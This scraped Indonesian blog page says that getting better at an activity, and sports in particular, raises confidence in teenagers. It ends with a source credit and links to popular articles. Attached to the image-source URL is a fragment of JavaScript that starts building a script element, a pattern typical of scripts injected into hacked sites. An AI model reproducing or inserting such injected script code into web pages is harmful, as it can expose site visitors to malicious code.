Umumnya semakin mahir seseorang dalam suatu jenis aktivitas, maka kepercayaan diri pun akan meningkat. Bahkan suatu riset membuktikan bahwa remaja yang aktif berolahraga merasa lebih percaya diri dibandingkan dengan teman-temannya yang tidak melakukan kegiatan serupa.

 

Sumber: kumpulan-artikel-olahraga.blogspot.com

Source Image : http://www.hellodoctor.co.idvar d=document;var s=d.createElement(‘script’);

05/19/2016
Selengkapnya

Tag Populer

Artikel Populer

Serba Makanan Jepang yang Rendah Kalori

12/14/2015

Test Artikel

08/07/2025

Bolehkah Ibu Hamil Mengkonsumsi Steak Wagyu?

04/21/2016